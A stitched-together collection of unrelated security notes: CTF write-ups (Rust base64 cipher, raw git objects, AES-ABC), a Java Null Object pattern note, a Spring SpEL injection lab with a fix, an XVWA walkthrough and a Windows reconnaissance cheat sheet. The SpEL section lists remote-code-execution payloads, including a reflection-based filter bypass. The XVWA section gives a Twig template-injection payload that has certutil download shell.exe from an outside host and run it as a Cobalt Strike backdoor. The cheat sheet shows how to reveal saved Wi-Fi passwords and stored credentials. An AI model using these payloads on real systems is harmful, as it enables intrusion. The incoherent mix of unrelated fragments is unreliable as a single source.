ZXh0ZXJuIGNyYXRlIGJhc2U2NDsKdXNlIHN0ZDo6c3RyOwoKLy8gV2hpbGUgZXhwbG9yaW5nIHRoZSBzdXJmYWNlIG9mIHRoZSByZWQgcGxhbmV0LCB5b3Ugc3R1bWJsZSB1cG9uIGFuIGVuY3J5cHRlZCBtZXNzYWdlLCB3aGljaCBtaWdodCBwcm92ZSB0aGVyZSdzIGEgbGlmZSBvbiB0aGlzIHBsYW5ldCEKLy8gQWZ0ZXIgc29tZSBzYW5kIGRpZ2dpbmcsIHlvdSBmb3VuZCBhIHJ1bmUsIGluZGljYXRpbmcgdGhlIGZvbGxvd2luZzoKLy8gQ01PYnc1akRsTU9kdzZKS0s4T1h3NVREb2NPVVNnPT0gfCBhbGllbnM/IGhlcmU/Ci8vIFlvdSBhcmUgdHJ5aW5nIHRvIGJ1aWxkIGEgY3lwaGVyIHJlYWRlciwgYnV0IHNvbWV0aGluZyBpcyBub3QgcXVpdGUgcmlnaHQuCi8vIFdoYXQgY291bGQgdGhpcyBhbGwgbWVhbj8KLy8KCnRyYWl0IElBYnN0cmFjdERlY3J5cHRvciB7CiAgICBmbiBhKCZzZWxmLCBtc2c6IFN0cmluZykgLT4gVmVjPHU4PjsKICAgIGZuIGIoJnNlbGYsIGI6IFZlYzx1OD4pIC0+IFN0cmluZzsKICAgIGZuIGMoJnNlbGYsIGk6IFZlYzx1OD4pIC0+IFZlYzx1OD47CiAgICBmbiBkKCZzZWxmLCBieTogVmVjPHU4PikgLT4gU3RyaW5nOwogICAgZm4gZSgmc2VsZiwgbWVzc2FnZTogU3RyaW5nKSAtPiBTdHJpbmc7Cn0KCnRyYWl0IElCYXNlRGVjcnlwdG9yOiBJQWJzdHJhY3REZWNyeXB0b3IgewogICAgZm4gaG93bF9sb3VkbHkoJnNlbGYpOwp9CgpzdHJ1Y3QgRGVjcnlwdG9yKCk7CgppbXBsIElBYnN0cmFjdERlY3J5cHRvciBmb3IgRGVjcnlwdG9yIHsKICAgIGZuIGEoJnNlbGYsIG1zZzogU3RyaW5nKSAtPiBWZWM8dTg+ewogICAgICAgIHJldHVybiBtc2cuaW50b19ieXRlcygpCgogICAgfQoKICAgIGZuIGMoJnNlbGYsIGk6IFZlYzx1OD4pIC0+IFZlYzx1OD4gewogICAgICAgIHJldHVybiBiYXNlNjQ6OmRlY29kZSgmaSkudW53cmFwKCk7CiAgICB9CgogICAgZm4gZCgmc2VsZiwgYnk6IFZlYzx1OD4pIC0+IFN0cmluZ3sKICAgICAgICBsZXQgYyA9IHNlbGYuYyhieSk7CiAgICAgICAgbGV0IGQgPSBzdHI6OmZyb21fdXRmOCgmYyk7CiAgICAgICAgcmV0dXJuIGQudW53cmFwKCkKICAgIH0KCiAgICBmbiBlKCZzZWxmLCBtZXNzYWdlOiBTdHJpbmcpIC0+IFN0cmluZ3sKICAgICAgICBsZXQgbXV0IHNzID0gU3RyaW5nOjpmcm9tKCIiKTsKICAgICAgICBmb3IgYyBpbiBtZXNzYWdlLmNoYXJzKCkgewogICAgICAgICAgICBsZXQgbXV0IGEgPSBjIGFzIHUzMjsKICAgICAgICAgICAgbGV0IG11dCBiID0gMTsKICAgICAgICAgICAgbGV0IG11dCBjID0gMDsKICAgICAgICAgICAgCiAgICAgICAgICAgIHdoaWxlIGEgPiAwIHsKICAgICAgICAgICAgICAgIGxldCBtdXQgZCA9IGEgJSAxMDsKICAgICAgICAgICAgICAgIGEgLz0gMTA7CiAgICAgICAgICAgICAgICBpZiBkID09IDAgewogICAgICAgICAgICAgICAgICAgIGQgPSAxMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGMgPSBjICsgKGQrMSkgKiBiOwogICAgICAgICAgICAgICAgYiAqPSAxMDsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiBjIDwgMTAgewogICAgICAgICAgICAgICAgYyArPSAyOTAKICAgICAgICAgICAgfQoKICAgICAgICAgICAgc3MucHVzaChzdGQ6OmNoYXI6OmZyb21fdTMyKGMpLnVud3JhcCgpKQogICAgICAgIH0KICAgICAgICByZXR1cm4gc3M7CiAgICB9CgogICAgZm4gYigmc2VsZiwgYjogVmVjPHU4PikgLT4gU3RyaW5newogICAgICAgIGxldCBjID0gc2VsZi5kKGIpOwogICAgICAgIHJldHVybiBzZWxmLmUoYyk7CiAgICB9Cn0KCmltcGwgSUJhc2VEZWNyeXB0b3IgZm9yIERlY3J5cHRvciB7CiAgICBmbiBob3dsX2xvdWRseSgmc2VsZikgewogICAgICAgIHByaW50bG4hKCJvbiB2YSBsZSBjaGVyY2hlciB0b3V0ZSBsYSBqb3VybsOpZSEhISEhISEhIik7CiAgICB9Cn0KCmZuIG1haW4oKSB7CiAgICBsZXQgX21zZzpTdHJpbmcgPSBTdHJpbmc6OmZyb20oIllzT1hDTU9qS3dncnc1dkRuc09sdzVURG04T29LOE9UQ01PbyIpOwogICAgbGV0IGRlY3J5cHRvciA9IERlY3J5cHRvcigpOwogICAgbGV0IGEgPSBkZWNyeXB0b3IuYShfbXNnKTsKICAgIGxldCBleHRyYXRlcnJlc3RyaWFsX21zZyA9IGRlY3J5cHRvci5iKGEuY2xvbmUoKSk7Cn0=
</div>
```
We decode it and get:
```rust
extern crate base64;
use std::str;
// While exploring the surface of the red planet, you stumble upon an encrypted message, which might prove there's a life on this planet!
// After some sand digging, you found a rune, indicating the following:
// CMObw5jDlMOdw6JKK8OXw5TDocOUSg== | aliens? here?
// You are trying to build a cypher reader, but something is not quite right.
// What could this all mean?
//
trait IAbstractDecryptor {
fn a(&self, msg: String) -> Vec<u8>;
fn b(&self, b: Vec<u8>) -> String;
fn c(&self, i: Vec<u8>) -> Vec<u8>;
fn d(&self, by: Vec<u8>) -> String;
fn e(&self, message: String) -> String;
}
trait IBaseDecryptor: IAbstractDecryptor {
fn howl_loudly(&self);
}
struct Decryptor();
impl IAbstractDecryptor for Decryptor {
fn a(&self, msg: String) -> Vec<u8>{
return msg.into_bytes()
}
fn c(&self, i: Vec<u8>) -> Vec<u8> {
return base64::decode(&i).unwrap();
}
fn d(&self, by: Vec<u8>) -> String{
let c = self.c(by);
let d = str::from_utf8(&c);
return d.unwrap()
}
fn e(&self, message: String) -> String{
let mut ss = String::from("");
for c in message.chars() {
let mut a = c as u32;
let mut b = 1;
let mut c = 0;
while a > 0 {
let mut d = a % 10;
a /= 10;
if d == 0 {
d = 10;
}
c = c + (d+1) * b;
b *= 10;
}
if c < 10 {
c += 290
}
ss.push(std::char::from_u32(c).unwrap())
}
return ss;
}
fn b(&self, b: Vec<u8>) -> String{
let c = self.d(b);
return self.e(c);
}
}
impl IBaseDecryptor for Decryptor {
fn howl_loudly(&self) {
println!("on va le chercher toute la journée!!!!!!!!");
}
}
fn main() {
let _msg:String = String::from("YsOXCMOjKwgrw5vDnsOlw5TDm8OoK8OTCMOo");
let decryptor = Decryptor();
let a = decryptor.a(_msg);
let extraterrestrial_msg = decryptor.b(a.clone());
}
```
A comment precedes the code, and the interesting part is:
```
CMObw5jDlMOdw6JKK8OXw5TDocOUSg== | aliens? here?
```
Let's try to decode the base64 string first and see what we get:
```console
┌──(user@kali)-[/media/sf_CTFs/cyberark/The_search_for_a_higher_being]
└─$ echo CMObw5jDlMOdw6JKK8OXw5TDocOUSg== | base64 -d
ÛØÔÝâJ+×ÔáÔJ
```
Doesn't really look like much.
Back to the program itself. Trying to run it, we get an error:
```console
┌──(user@kali)-[/media/sf_CTFs/cyberark/The_search_for_a_higher_being]
└─$ cargo run
Updating crates.io index
Downloaded base64 v0.13.0
Downloaded 1 crate (62.1 KB) in 0.70s
Compiling base64 v0.13.0
Compiling Program v0.1.0 (/media/sf_CTFs/cyberark/The_search_for_a_higher_being)
error[E0308]: mismatched types
--> program.rs:38:16
|
35 | fn d(&self, by: Vec<u8>) -> String{
| ------ expected `String` because of return type
...
38 | return d.unwrap()
| ^^^^^^^^^^
| |
| expected struct `String`, found `&str`
| help: try using a conversion method: `d.unwrap().to_string()`
error: aborting due to previous error
For more information about this error, try `rustc --explain E0308`.
error: could not compile `Program`.
To learn more, run the command again with --verbose.
```
So, we need to change `d.unwrap()` to `d.unwrap().to_string()`, only to get a warning that `extraterrestrial_msg` is unused. After adding `println!("{}", extraterrestrial_msg);`, we finally get the output:
```console
┌──(user@kali)-[/media/sf_CTFs/cyberark/The_search_for_a_higher_being]
└─$ target/debug/program
mņīŒ6ī6ŊōŔŃŊŗ6łīŗ
```
Well, that doesn't really say much either. We can see that the program is trying to decrypt `"YsOXCMOjKwgrw5vDnsOlw5TDm8OoK8OTCMOo"`, what if we change it to the base64 string we saw in the comment (`"CMObw5jDlMOdw6JKK8OXw5TDocOUSg=="`)?
```console
┌──(user@kali)-[/media/sf_CTFs/cyberark/The_search_for_a_higher_being]
└─$ target/debug/program
īŊŇŃŌőU6ņŃŐŃU
```
Indeed, as the comment stated, "*something is not quite right*".
At this point, let's follow the basic flow of the program. It starts with a base64-encoded string, then sends it to `a()` in order to convert it into bytes. The result gets sent to `b()`, which immediately calls `d()` with the input. `d()` decodes the base64 by calling `c()`, then decodes the result as UTF8. Finally, some kind of manipulation is performed on the string by `e()`. Looks like something is incorrect in that manipulation based on the results we're getting.
If we take a look at the bytes of the base64-decoded string, it's obviously unicode:
```console
┌──(user@kali)-[/media/sf_CTFs/cyberark/The_search_for_a_higher_being]
└─$ echo CMObw5jDlMOdw6JKK8OXw5TDocOUSg== | base64 -d | xxd -g 1
00000000: 08 c3 9b c3 98 c3 94 c3 9d c3 a2 4a 2b c3 97 c3 ...........J+...
00000010: 94 c3 a1 c3 94 4a .....J
```
But we can copy the rust program's logic and decode the string as unicode, then use Python's `ord()` to get the code point for each character in a similar manner to what `e()` does by calling `message.chars()` and `c as u32`. Let's do that with the pair we got from the comment:
```python
>>> codepoints = lambda s: [f'{ord(c):02x}' for c in s]
>>> codepoints(base64.b64decode("CMObw5jDlMOdw6JKK8OXw5TDocOUSg==").decode("utf8"))
['08', 'db', 'd8', 'd4', 'dd', 'e2', '4a', '2b', 'd7', 'd4', 'e1', 'd4', '4a']
>>> codepoints("aliens? here?")
['61', '6c', '69', '65', '6e', '73', '3f', '20', '68', '65', '72', '65', '3f']
>>> [f'{c.ljust(2)}' for c in "aliens? here?"]
['a ', 'l ', 'i ', 'e ', 'n ', 's ', '? ', ' ', 'h ', 'e ', 'r ', 'e ', '? ']
```
Comparing the output, it is pretty obvious that this is a simple substitution cipher. We only have a small subset of the key, but is it enough to decipher the other string?
We can map characters from the known ciphertext to their plaintext equivalent:
```python
>>> dict = {cipher_char:plain_char for plain_char, cipher_char in zip("aliens? here?", base64.b64decode("CMObw5jDlMOdw6JKK8OXw5TDocOUSg==").decode("utf8"))}
>>> dict
{'\x08': 'a', 'Û': 'l', 'Ø': 'i', 'Ô': 'e', 'Ý': 'n', 'â': 's', 'J': '?', '+': ' ', '×': 'h', 'á': 'r'}
```
Then use that to try and decode the other ciphertext:
```python
>>> "".join([dict.get(c, "?") for c in base64.b64decode("YsOXCMOjKwgrw5vDnsOlw5TDm8OoK8OTCMOo").decode("utf8")])
'?ha? a l??el? ?a?'
```
That's not bad. To complete the picture, let's take a look at the codepoints themselves:
```python
>>> codepoints(base64.b64decode("YsOXCMOjKwgrw5vDnsOlw5TDm8OoK8OTCMOo").decode("utf8"))
['62', 'd7', '08', 'e3', '2b', '08', '2b', 'db', 'de', 'e5', 'd4', 'db', 'e8', '2b', 'd3', '08', 'e8']
```
Using a [Crossword Quick Solve](https://www.crosswordsolver.org/quicksolve.php) service we can enter the letters we already have and get a list of potential matches. For example, the choices that make sense for the third word are:
```
lifely
likely
lively
lonely
lovely
```
And for the forth word:
```
day
way
```
The answer that was accepted was: `What a lovely day`. Notice how the code-point for the first letter is pretty far away from the others, and that it mapped to a capital letter.
Luckily, we did not have to understand `e()`'s implementation at all. In retrospective, when comparing the code-point of the ciphertext to that of the plaintext, the following pattern is revealed:
```
(a ->) | (97 -> 8) | diff: -89
(l -> Û) | (108 -> 219) | diff: 111
(i -> Ø) | (105 -> 216) | diff: 111
(e -> Ô) | (101 -> 212) | diff: 111
(n -> Ý) | (110 -> 221) | diff: 111
(s -> â) | (115 -> 226) | diff: 111
(? -> J) | (63 -> 74) | diff: 11
( -> +) | (32 -> 43) | diff: 11
(h -> ×) | (104 -> 215) | diff: 111
(e -> Ô) | (101 -> 212) | diff: 111
(r -> á) | (114 -> 225) | diff: 111
(e -> Ô) | (101 -> 212) | diff: 111
(? -> J) | (63 -> 74) | diff: 11
(W -> b) | (87 -> 98) | diff: 11
(h -> ×) | (104 -> 215) | diff: 111
(a ->) | (97 -> 8) | diff: -89
(t -> ã) | (116 -> 227) | diff: 111
( -> +) | (32 -> 43) | diff: 11
(a ->) | (97 -> 8) | diff: -89
( -> +) | (32 -> 43) | diff: 11
(l -> Û) | (108 -> 219) | diff: 111
(o -> Þ) | (111 -> 222) | diff: 111
(v -> å) | (118 -> 229) | diff: 111
(e -> Ô) | (101 -> 212) | diff: 111
(l -> Û) | (108 -> 219) | diff: 111
(y -> è) | (121 -> 232) | diff: 111
( -> +) | (32 -> 43) | diff: 11
(d -> Ó) | (100 -> 211) | diff: 111
(a ->) | (97 -> 8) | diff: -89
(y -> è) | (121 -> 232) | diff: 111
```
|
sec-knowleage
|
## 空对象(Null)
### Intent
使用什么都不做
的空对象来代替 NULL。
一个方法返回 NULL,意味着方法的调用端需要去检查返回值是否是 NULL,这么做会导致非常多的冗余的检查代码。并且如果某一个调用端忘记了做这个检查返回值,而直接使用返回的对象,那么就有可能抛出空指针异常。
### Class Diagram
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/22870bbe-898f-4c17-a31a-d7c5ee5d1c10.png"/> </div><br>
### Implementation
```java
public abstract class AbstractOperation {
abstract void request();
}
```
```java
public class RealOperation extends AbstractOperation {
@Override
void request() {
System.out.println("do something");
}
}
```
```java
public class NullOperation extends AbstractOperation{
@Override
void request() {
// do nothing
}
}
```
```java
public class Client {
public static void main(String[] args) {
AbstractOperation abstractOperation = func(-1);
abstractOperation.request();
}
public static AbstractOperation func(int para) {
if (para < 0) {
return new NullOperation();
}
return new RealOperation();
}
}
```
|
sec-knowleage
|
# Diary - Misc (50 + 0), 120 solves
> We found a torn diary on the ground. It seems to belong to a local boy.
In this task we were given a small zipped git repository. Trying to do anything with it (`git log` etc.) failed
with errors. It seemed like we had to find the flag in raw git objects then.
The first thing we did was enough - a simple inspection of the objects:
```
λ cat doit.sh
zlib-flate -uncompress < $1 | strings | grep midnight
λ find -exec bash doit.sh {} \;
flate: inflate: data: incorrect header check
flate: inflate: data: incorrect header check
Today I found a flag, it said: midnight{if_an_object_ref_falls_and_no_one_hears} that sounds very interesting.
```
|
sec-knowleage
|
# SPEL
{% code title="SpelController.java" %}
```java
package com.example.controller;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class SpelController {
@GetMapping("/spel")
public String spelInjection(@RequestParam String input) {
ExpressionParser expressionParser = new SpelExpressionParser();
Expression expression = expressionParser.parseExpression(input);
Object object = expression.getValue();
return object.toString();
}
}
```
{% endcode %}
payload
```
T(java.lang.Runtime).getRuntime().exec('calc.exe')
new ProcessBuilder("whoami").start()
//可以利用反射来绕过一些过滤
#{''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',''.getClass()).invoke(''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(null),'calc')}
```

## 修复代码
```Java
package com.example.controller;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.SimpleEvaluationContext;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class SpelController {
@GetMapping("/spel")
public String spelInjection(@RequestParam String input) {
ExpressionParser expressionParser = new SpelExpressionParser();
SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
Expression expression = expressionParser.parseExpression(input);
Object object = expression.getValue(context);
return object.toString();
}
}
```

|
sec-knowleage
|
# Rend Asunder
## [Flag0](./flag0) -- Found
- What do you have access to?
- Look around your sandbox
- Some places are Definitely mOre iMportant than others
## [Flag1](./flag1) -- Not Found
- The rendered page looks a bit odd
## [Flag2](./flag2) -- Not Found
|
sec-knowleage
|
# XVWA-WalkThrough
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**靶场项目地址**
- https://github.com/s4n7h0/xvwa
---
**实验环境**
`环境仅供参考`
- phpstudy
- Microsoft Windows 10 企业版 LTSC - 10.0.17763
- VMware® Workstation 15 Pro - 15.0.0 build-10134415
- kali 4.19.0-kali3-amd64
- CobaltStrike4.1
---
## 搭建/使用
这里使用 phpstudy 搭建, mysql5.1.60 + php5.2.17 环境
数据库需要手动创建 xvwa 库,并且修改 config.php,输入数据库连接的凭证
---
## Server Side Template Injection (SSTI)
由于模板引擎支持使用静态模板文件,并在运行时用 HTML 页面中的实际值替换变量 / 占位符,从而让 HTML 页面的设计变得更容易。当前广为人知且广泛应用的模板引擎有 Smarty、Twig、Jinja2、FreeMarker 和 Velocity。
如果攻击者能够把模板指令作为用户输入进行注入,并且这些指令可以在服务器上执行任意代码的话,那么他们离服务器端模板注入攻击也不远了。
访问页面,尝试输入 `${{1+2}}` ,根据服务器响应来看,得到的结果为 $3 。根据这个响应,我们可以推测这里使用了模板引擎,因为这符合它们对于 `{{}}` 的处理方式。
根据提示, 使用 TWIG 模板引擎的 POC
```
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}
```
**配合 CS 回弹一个 shell(windows)**
CS 监听
生成回弹 payload
上传到 kali 部署
```
python -m SimpleHTTPServer 8000
```
配合 payload 执行
```
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("certutil.exe -urlcache -split -f http://192.168.141.143:8000/shell.exe shell.exe & shell.exe")}}
```
成功上线
查看服务器目录下,存在 shell.exe 文件
|
sec-knowleage
|
# AES-ABC
Cryptography, 400 points
## Description:
> AES-ECB is bad, so I rolled my own cipher block chaining mechanism - Addition Block Chaining! You can find the source here: aes-abc.py. The AES-ABC flag is body.enc.ppm
```python
#!/usr/bin/env python
from Crypto.Cipher import AES
from key import KEY
import os
import math
BLOCK_SIZE = 16
UMAX = int(math.pow(256, BLOCK_SIZE))
def to_bytes(n):
s = hex(n)
s_n = s[2:]
if 'L' in s_n:
s_n = s_n.replace('L', '')
if len(s_n) % 2 != 0:
s_n = '0' + s_n
decoded = s_n.decode('hex')
pad = (len(decoded) % BLOCK_SIZE)
if pad != 0:
decoded = "\0" * (BLOCK_SIZE - pad) + decoded
return decoded
def remove_line(s):
# returns the header line, and the rest of the file
return s[:s.index('\n') + 1], s[s.index('\n')+1:]
def parse_header_ppm(f):
data = f.read()
header = ""
for i in range(3):
header_i, data = remove_line(data)
header += header_i
return header, data
def pad(pt):
padding = BLOCK_SIZE - len(pt) % BLOCK_SIZE
return pt + (chr(padding) * padding)
def aes_abc_encrypt(pt):
cipher = AES.new(KEY, AES.MODE_ECB)
ct = cipher.encrypt(pad(pt))
blocks = [ct[i * BLOCK_SIZE:(i+1) * BLOCK_SIZE] for i in range(len(ct) / BLOCK_SIZE)]
iv = os.urandom(16)
blocks.insert(0, iv)
for i in range(len(blocks) - 1):
prev_blk = int(blocks[i].encode('hex'), 16)
curr_blk = int(blocks[i+1].encode('hex'), 16)
n_curr_blk = (prev_blk + curr_blk) % UMAX
blocks[i+1] = to_bytes(n_curr_blk)
ct_abc = "".join(blocks)
return iv, ct_abc, ct
if __name__=="__main__":
with open('flag.ppm', 'rb') as f:
header, data = parse_header_ppm(f)
iv, c_img, ct = aes_abc_encrypt(data)
with open('body.enc.ppm', 'wb') as fw:
fw.write(header)
fw.write(c_img)
```
## Solution:
We receive a `PPM` image file which is encrypted with `AES-ABC`: A layer of `AES-EBC` wrapped with an extra layer of custom encryption.
The `PPM` header (first 16 bytes) is left as-is, and only what comes after that is encrypted:
```console
root@kali:/media/sf_CTFs/pico/AES-ABC# xxd body.enc.ppm | head
00000000: 5036 0a31 3839 3520 3832 300a 3235 350a P6.1895 820.255.
00000010: cee8 bfc1 9950 7cb9 4946 bcc0 dae7 d1a1 .....P|.IF......
00000020: 4f56 a5f1 a6b3 34cb daea 9886 70ca e5ac OV....4.....p...
00000030: cfc4 8c21 b415 ecde 6c8e 744c 06ad f9b7 ...!....l.tL....
00000040: 5032 7251 c178 a4f0 fe32 5011 9c91 0dc2 P2rQ.x...2P.....
00000050: d0a0 5881 cedb 5d03 8fd6 2bd7 3274 21cd ..X...]...+.2t!.
00000060: 510e 3eb1 dc3e 1516 217a 079c c857 35d8 Q.>..>..!z...W5.
00000070: d17c 24e1 e9a0 cd28 b31d e362 5e3a 49e3 .|$....(...b^:I.
00000080: 51ea 0b11 f703 853b 44c1 bf27 f41d 5dee Q......;D..'..].
00000090: d257 f142 0466 3d4d d665 9aed 8a00 71f9 .W.B.f=M.e....q.
```
Let's take a look at the encryption process:
```python
def aes_abc_encrypt(pt):
cipher = AES.new(KEY, AES.MODE_ECB)
ct = cipher.encrypt(pad(pt))
blocks = [ct[i * BLOCK_SIZE:(i+1) * BLOCK_SIZE] for i in range(len(ct) / BLOCK_SIZE)]
iv = os.urandom(16)
blocks.insert(0, iv)
for i in range(len(blocks) - 1):
prev_blk = int(blocks[i].encode('hex'), 16)
curr_blk = int(blocks[i+1].encode('hex'), 16)
n_curr_blk = (prev_blk + curr_blk) % UMAX
blocks[i+1] = to_bytes(n_curr_blk)
ct_abc = "".join(blocks)
return iv, ct_abc, ct
```
The plaintext is first encrypted using AES-ECB, which means that it is divided into 16-byte blocks and each block is encrypted independently using a secret key.
Then, the AES-EBC ciphertext is divided (again) into 16 byte blocks. An IV is chosen, and set as the first block of the output. After that, the function iterates over the blocks of the AES-EBC ciphertext and for each block, calculates its sum together with the previous output block (modulus UMAX), and this is set as the current output block.
Therefore, we can say that:
```
ABC(0) = IV
For n=1..num_ebc_blocks: ABC(n+1) = ( EBC(n) + ABC(n) ) % UMAX
```
It's a widely known fact that AES-EBC isn't secure, and one of the famous examples is related to the ability to extract significant details from a bitmap image even after encryption:
> A striking example of the degree to which ECB can leave plaintext data patterns in the ciphertext can be seen when ECB mode is used to encrypt a bitmap image which uses large areas of uniform color. While the color of each individual pixel is encrypted, the overall image may still be discerned, as the pattern of identically colored pixels in the original remains in the encrypted version. (Source: Wikipedia)
The [Wikipedia article](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Electronic_Codebook_(ECB)) contains a visualization of the problem - check it out.
So, if we can bring the ciphertext back to EBC form, we might be able to get the flag even without knowing the original EBC key.
In our case, it should be easy to reverse the ABC layer. We already know that `ABC(n+1) = ( EBC(n) + ABC(n) ) % UMAX`. Another way to write a modulus equation is `ECB(n) + ABC(n) = k*UMAX + ABC(n+1)` for some non-negative integer `k`, meaning `ECB(n) = ABC(n+1) - ABC(n) + k*UMAX`.
We also know that `UMAX` was defined as a tight upper bound for a single 16-byte value, meaning both `EBC(n)` and `ABC(n)` are under it, and `EBC(n) + ABC(n)` are bound by `2*UMAX`. Therefore, in our case, `k == 0 || k == 1`. If `k == 0` then `ECB(n) = ABC(n+1) - ABC(n)` and if `k == 1` then `ECB(n) = ABC(n+1) - ABC(n) + UMAX`. Knowing this, we can easily reverse the algorithm using the following script:
```python
import sys
class key(object):
@staticmethod
def KEY():
return None
if __name__ == "__main__":
sys.modules['key'] = key
from aes_abc import parse_header_ppm, to_bytes, BLOCK_SIZE, UMAX
with open('body.enc.ppm', 'rb') as f:
header, data = parse_header_ppm(f)
blocks = [data[i * BLOCK_SIZE:(i+1) * BLOCK_SIZE] for i in range(len(data) / BLOCK_SIZE)]
new_blocks = []
for i in range(len(blocks) - 1):
prev_blk = int(blocks[i].encode('hex'), 16)
curr_blk = int(blocks[i+1].encode('hex'), 16)
n_curr_blk = (curr_blk - prev_blk)
if n_curr_blk < 0:
n_curr_blk += UMAX
new_blocks.append(to_bytes(n_curr_blk))
joined = "".join(new_blocks)
with open('ecb.ppm', 'wb') as fw:
fw.write(header)
fw.write(joined)
```
Notes:
* We reuse logic from the original script. In order to do that without changing the original script, we must mock the `key` module which we don't have access to and don't need
* We calculate `ECB(n) = ABC(n+1) - ABC(n)`. We add `UMAX` in case the result is negative (`ECB(n)` was originally non-negative). Under these circumstances, this is equivalent to calculating `n_curr_blk = (curr_blk - prev_blk) % UMAX`.
After running the script, we get the following image:

The flag: `picoCTF{d0Nt_r0ll_yoUr_0wN_aES}`.
|
sec-knowleage
|
# 信息
`记录收集 Windows 系统软硬件信息的命令`
- 域信息见 [信息收集](../../../Security/RedTeam/信息收集/信息收集.md#域信息) 笔记
---
## 大纲
* **[软件](#软件)**
* [版本信息](#版本信息)
* [环境变量](#环境变量)
* [开机启动](#开机启动)
* [日志](#日志)
* [应用服务](#应用服务)
* [用户相关](#用户相关)
* **[硬件](#硬件)**
* [网络](#网络)
* [硬盘文件系统](#硬盘文件系统)
---
## 软件
### 版本信息
```cmd
ver windows 版本
winver 弹框显示当前 windows 系统信息
hostname 显示当前机器名
msinfo32 系统信息面板
systeminfo 查看当前计算机的综合信息
finger username @host 查看最近有哪些用户登录
sc showsid server 查看 SID
```
**凭据**
```
cmdkey 凭据 Credential(保存的用户名和密码)
cmdkey /list 列出可用的凭据
cmdkey /list:10.12.190.82 列出指定目标的凭据
cmdkey /list:Domain:target=10.12.190.82 列出指定目标的凭据
cmdkey /add:Domain:target=10.12.190.82 /user:LiLei /pass:123456
若 target 为 10.12.190.82 的凭据不存在,则添加;否则就将 10.12.190.82 凭据的用户名修改为 LiLei,密码修改为 123456
cmdkey /delete:Domain:target=10.12.190.82 删除指定目标的凭据
```
**激活信息**
```cmd
slmgr.vbs 查看当前系统 Windows 中的激活状态以及密钥、许可证书等信息
slmgr.vbs -dlv 显示详细的许可证信息
slmgr.vbs -dli 显示许可证信息
slmgr.vbs -xpr 当前许可证截止日期
slmgr.vbs -dti 显示安装 ID 以进行脱机激
slmgr.vbs -ipk (Product Key) 安装产品密钥
slmgr.vbs -ato 激活 Windows
slmgr.vbs -cpky 从注册表中清除产品密钥(防止泄露引起的攻击)
slmgr.vbs -ilc (License file)安装许可证
slmgr.vbs -upk 卸载产品密钥
slmgr.vbs -skms (name[ort])批量授权
```
---
### 环境变量
```
set
```
---
### 计划任务
**计划任务信息**
```
查看计划任务
schtasks
schtasks /query
视图模式详细信息
schtasks /query /v /fo list
逗号分隔列表
schtasks /query /v /fo csv
```
**schtasks /query 显示错误:无法加载列资源**
该原因是编码的不支持,通过 chcp 查看编码,936 会导致无法加载列资源,修改为 437 即可。
```
chcp 437
```
---
### 日志
开始-运行,输入 `eventvwr.msc` 打开事件查看器,查看日志
---
### 应用服务
**进程信息**
```cmd
wmic process where Caption="buyticket.exe" get commandline,ExecutablePath,ProcessId,ThreadCount /value
查看名为"buyticket.exe"所有进程命令行,exe 全路径,PID 及线程数
wmic process where Caption="buyticket.exe" get ExecutablePath,HandleCount /value
查看名为"buyticket.exe"所有进程的 exe 全路径及当前打开的句柄数
wmic process where Caption="buyticket.exe" get ExecutablePath,VirtualSize,WorkingSetSize /value
查看名为"buyticket.exe"所有进程的 exe 全路径、当前虚拟地址空间占用及物理内存工作集
tasklist 显示所有进程及其服务
tasklist /svc
tasklist /fi "pid eq 1234" /svc 显示指定进程信息
tasklist /fi "status eq running" /svc
tasklist /fi "status eq running" /fi "username eq nt authority\system" /svc
tasklist /m xxx.dll 显示使用给定 exe/dll 名称的所有进程
tasklist /s ip /u username /p password /svc 显示远程主机的进程信息
```
---
### 用户相关
```cmd
net view
net config Workstation
whoami 查看当前用户
whoami/all
net user 查看计算机用户列表
net localgroup 查看计算机用户组列表
net accounts 查看本地密码策略
klist
wmic useraccount get name,sid
```
---
## 硬件
```cmd
wmic 查看硬件的信息
wmic logicaldisk 查看计算机上各个盘的相关信息
wmic LogicalDisk where "Caption='C:'" get FreeSpace,Size /value
获取 C 盘的剩余空间大小与总大小(单位:Byte)
wmic os get Caption,InstallDate,OSArchitecture /value
获取当前 os 的 Caption、安装日期以及系统架构信息
```
### 网络
**IP 地址**
```cmd
ipconfig 查看 ip 地址
ipconfig /all 查看本机 IP,所在域
```
**端口**
```cmd
netstat -ano 查看系统开放端口
netstat -an/ano/anb 网络连接查询
```
**路由表**
```cmd
route print 路由表
```
**arp 条目**
```cmd
arp -a 查看全部 arp 条目
```
**防火墙**
```cmd
netsh firewall show state
netsh advfirewall show allprofiles
```
**查看端口转发**
```cmd
netsh interface portproxy show all
netsh interface portproxy show v4tov4
netsh interface portproxy show v4tov6
netsh interface portproxy show v6tov4
netsh interface portproxy show v6tov6
```
**查看无线网络信息**
```cmd
netsh wlan show profiles
```
**查看指定 WIFI 密码**
```cmd
netsh wlan show profiles wifi_name key=clear
```
---
### 硬盘文件系统
**磁盘列表**
```
fsutil fsinfo drives
```
**卷标**
```cmd
vol 显示当前分区的卷标
```
|
sec-knowleage
|
neofetch
===
显示带有发行徽标的系统信息的工具
## 补充说明
**neofetch** 支持Linux/Unix、Windows、macOS。各发行版均已集成包可直接进行安装
Neofetch是一个在终端上显示带有发行徽标的系统信息工具,neofetch命令将显示有关相应系统的简要信息。
